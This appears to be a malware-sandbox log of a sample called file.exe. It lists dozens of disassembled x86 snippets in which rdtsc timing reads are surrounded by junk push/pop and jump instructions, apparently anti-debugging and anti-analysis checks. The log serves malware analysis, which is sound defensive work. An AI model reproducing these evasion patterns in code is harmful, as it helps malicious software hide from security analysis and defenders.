Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2BEE second address: 11B2C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jno 00007FD1DD1E6C96h 0x0000000b jl 00007FD1DD1E6C96h 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007FD1DD1E6CA1h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2C14 second address: 11B2C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2E91 second address: 11B2EB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA5h 0x00000007 jnl 00007FD1DD1E6C96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2EB0 second address: 11B2EB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2EB5 second address: 11B2EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2EBB second address: 11B2EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F654h 0x00000009 jmp 00007FD1DCB3F64Dh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FD1DCB3F64Dh 0x00000017 push ecx 0x00000018 jnp 00007FD1DCB3F646h 0x0000001e pop ecx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6726 second address: 11B672A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B672A second address: 11B6752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F656h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FD1DCB3F64Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6752 second address: 11B675C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD1DD1E6C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B675C second address: 11B6760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6760 second address: 11B676E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5E2A second address: 11B5E40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DCB3F64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5E40 second address: 11B5E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD1DD1E6C96h 0x0000000a jl 00007FD1DD1E6C96h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC3F9 second address: 11BC3FF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC3FF second address: 11BC422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA6h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007FD1DD1E6C96h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAFD2 second address: 11BAFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAFD7 second address: 11BAFE1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD1DD1E6C9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB137 second address: 11BB13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB13D second address: 11BB14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FD1DD1E6CBEh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116707C second address: 1167082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167082 second address: 1167086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167086 second address: 11670DC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub dword ptr [ebp+124709C1h], ecx 0x00000013 mov ebx, dword ptr [ebp+1247B228h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FD1DCB3F648h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 jp 00007FD1DCB3F64Ch 0x00000039 mov dword ptr [ebp+12445996h], edi 0x0000003f add eax, ebx 0x00000041 and edx, dword ptr [ebp+122D2CCDh] 0x00000047 push eax 0x00000048 pushad 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11670DC second address: 1167109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD1DD1E6C96h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007FD1DD1E6C96h 0x00000012 js 00007FD1DD1E6C96h 0x00000018 popad 0x00000019 popad 0x0000001a mov dword ptr [esp], eax 0x0000001d mov dword ptr [ebp+122D1FA1h], ebx 0x00000023 push 00000004h 0x00000025 mov dx, di 0x00000028 push eax 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB6A2 second address: 11BB6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC0C0 second address: 11BC0DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Eh 0x00000007 jnp 00007FD1DD1E6C96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC0DC second address: 11BC0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F656h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5677 second address: 11C5691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5691 second address: 11C5697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C36AD second address: 11C36B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C39A9 second address: 11C39C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007FD1DCB3F64Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4891 second address: 11C489B instructions: 0x00000000 rdtsc 0x00000002 je 00007FD1DD1E6C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C505F second address: 11C5064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C89A2 second address: 11C89D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6C9Bh 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD1DD1E6CA9h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C89D6 second address: 11C89DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8B16 second address: 11C8B20 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD1DD1E6C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8F27 second address: 11C8F31 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD1DCB3F646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C925C second address: 11C9266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9266 second address: 11C926C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6E6B second address: 11D6E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6E71 second address: 11D6E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F64Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6E82 second address: 11D6EA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jg 00007FD1DD1E6C96h 0x00000014 jmp 00007FD1DD1E6C9Ch 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D52A2 second address: 11D52C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD1DCB3F646h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push esi 0x0000000e jmp 00007FD1DCB3F656h 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D52C9 second address: 11D52F3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1DD1E6C9Ch 0x00000008 jns 00007FD1DD1E6C9Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jg 00007FD1DD1E6C98h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D52F3 second address: 11D52F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D52F9 second address: 11D5316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6CA7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D56B7 second address: 11D56BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D56BD second address: 11D56D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FD1DD1E6C9Fh 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D56D8 second address: 11D56DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D583F second address: 11D5872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA8h 0x00000007 jmp 00007FD1DD1E6CA7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5872 second address: 11D587D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007FD1DCB3F646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5E2E second address: 11D5E37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F71 second address: 11D5F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F75 second address: 11D5F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F79 second address: 11D5F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD1DCB3F654h 0x00000010 jns 00007FD1DCB3F646h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5F9E second address: 11D5FBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD1DD1E6CA9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D66A1 second address: 11D66AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007FD1DCB3F646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD6D3 second address: 11DD6DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD1DD1E6C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD6DD second address: 11DD6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD6E3 second address: 11DD705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FD1DD1E6C96h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007FD1DD1E6CA5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD13D second address: 11DD146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E87FB second address: 11E87FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E87FF second address: 11E8809 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD1DCB3F646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8809 second address: 11E8850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD1DD1E6CB6h 0x0000000c jmp 00007FD1DD1E6C9Dh 0x00000011 jmp 00007FD1DD1E6CA3h 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007FD1DD1E6C96h 0x0000001e jmp 00007FD1DD1E6CA3h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8850 second address: 11E8856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E836B second address: 11E8370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED7BC second address: 11ED7CA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED944 second address: 11ED948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD18D second address: 11FD193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD193 second address: 11FD199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206FEC second address: 1206FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206FF2 second address: 1206FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206FF6 second address: 1206FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12058EC second address: 12058F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12058F7 second address: 12058FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BD0 second address: 1205BE0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD1DD1E6CA2h 0x00000008 jnl 00007FD1DD1E6C96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BE0 second address: 1205BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BE8 second address: 1205BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205BEE second address: 1205BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205EA4 second address: 1205EBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD1DD1E6CA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120613F second address: 1206159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD1DCB3F64Eh 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007FD1DCB3F646h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007FD1DCB3F646h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206159 second address: 120617C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD1DD1E6CA2h 0x00000010 js 00007FD1DD1E6C96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120617C second address: 1206180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206180 second address: 1206186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206186 second address: 120618C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120618C second address: 12061AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD1DD1E6CA4h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206318 second address: 1206335 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD1DCB3F657h 0x0000000c jmp 00007FD1DCB3F651h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206D24 second address: 1206D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jnp 00007FD1DD1E6C96h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD1DD1E6CA9h 0x00000017 jnc 00007FD1DD1E6C96h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206D55 second address: 1206D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F64Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206D66 second address: 1206D6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216EFD second address: 1216F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FD1DCB3F669h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215B2 second address: 12215B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215B8 second address: 12215BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215BE second address: 12215C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215C4 second address: 12215D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007FD1DCB3F646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215D6 second address: 122161F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Bh 0x00000007 jmp 00007FD1DD1E6CA4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 jns 00007FD1DD1E6CAEh 0x0000001c rdtsc
